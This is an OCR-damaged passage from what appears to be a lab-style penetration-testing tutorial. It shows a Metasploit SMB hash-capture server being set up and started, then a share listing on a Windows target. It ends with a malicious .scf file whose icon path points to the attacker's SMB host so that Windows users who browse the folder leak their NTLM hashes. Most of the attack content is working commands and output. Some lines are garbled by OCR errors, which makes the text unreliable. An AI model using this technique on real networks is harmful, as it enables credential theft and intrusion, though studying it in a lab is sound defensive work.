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I : 192.168.1.5 Debian
192.168.1.2 Windows 7

SEH1 : 192.168.1.119 Windows 2003

BB msf :

1 msf auxiliary(server/capture/smb) > show options
3 Module options (auxiliary/server/capture/smb):
5 Name Current Setting Required Description

7  CAINPWFILE no The local filename to store the hashes in Cain&Abel for
mat

8 CHALLENGE 1122334455667788 yes The 8 byte server challenge

9  JOHNPWFILE micropoor.ico no The prefix to the local filename to store
the hashes in John format

10 SRVHOST ©0.0.0.0 yes The local host to listen on. This must be an addr
ess on the local machine or 0.0.0.0

11 SRVPORT 445 yes The local port to listen on.
12
13

14 Auxiliary action:

16 Name Description

21 msf auxiliary(server/capture/smb) > ifconfig |grep 192.168
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*] exec: ifconfig |grep 192.168

inet 192.168.1.5 netmask 255.255.255.0 broadcast 192.168.1.255
msf auxiliary(server/capture/smb) > exploit

*] Auxiliary module running as background job @.

*1 Started service listener on 0.0.0.0:445

*] Server started
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C:\>net share

C$ C:\ EA=E

E$ E:\ BUAKL=E
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share E:\share
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E:sshare

shareBR &3 ZMicropoor.scf3{4 , AT :
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I [Shell

2 Command=2

3 IconFile=\\192.168.1.5\micropoor.ico
I [Taskbar

5 Command=ToggleDesktop

[=] Micropoor. seff

1 [Bhell]

2 Contmand=2

3 IconFile=Y4%19Z.1658.1.5\wicropoor. ico
4 [Taskbar]

5 Command=ToggleDesktop
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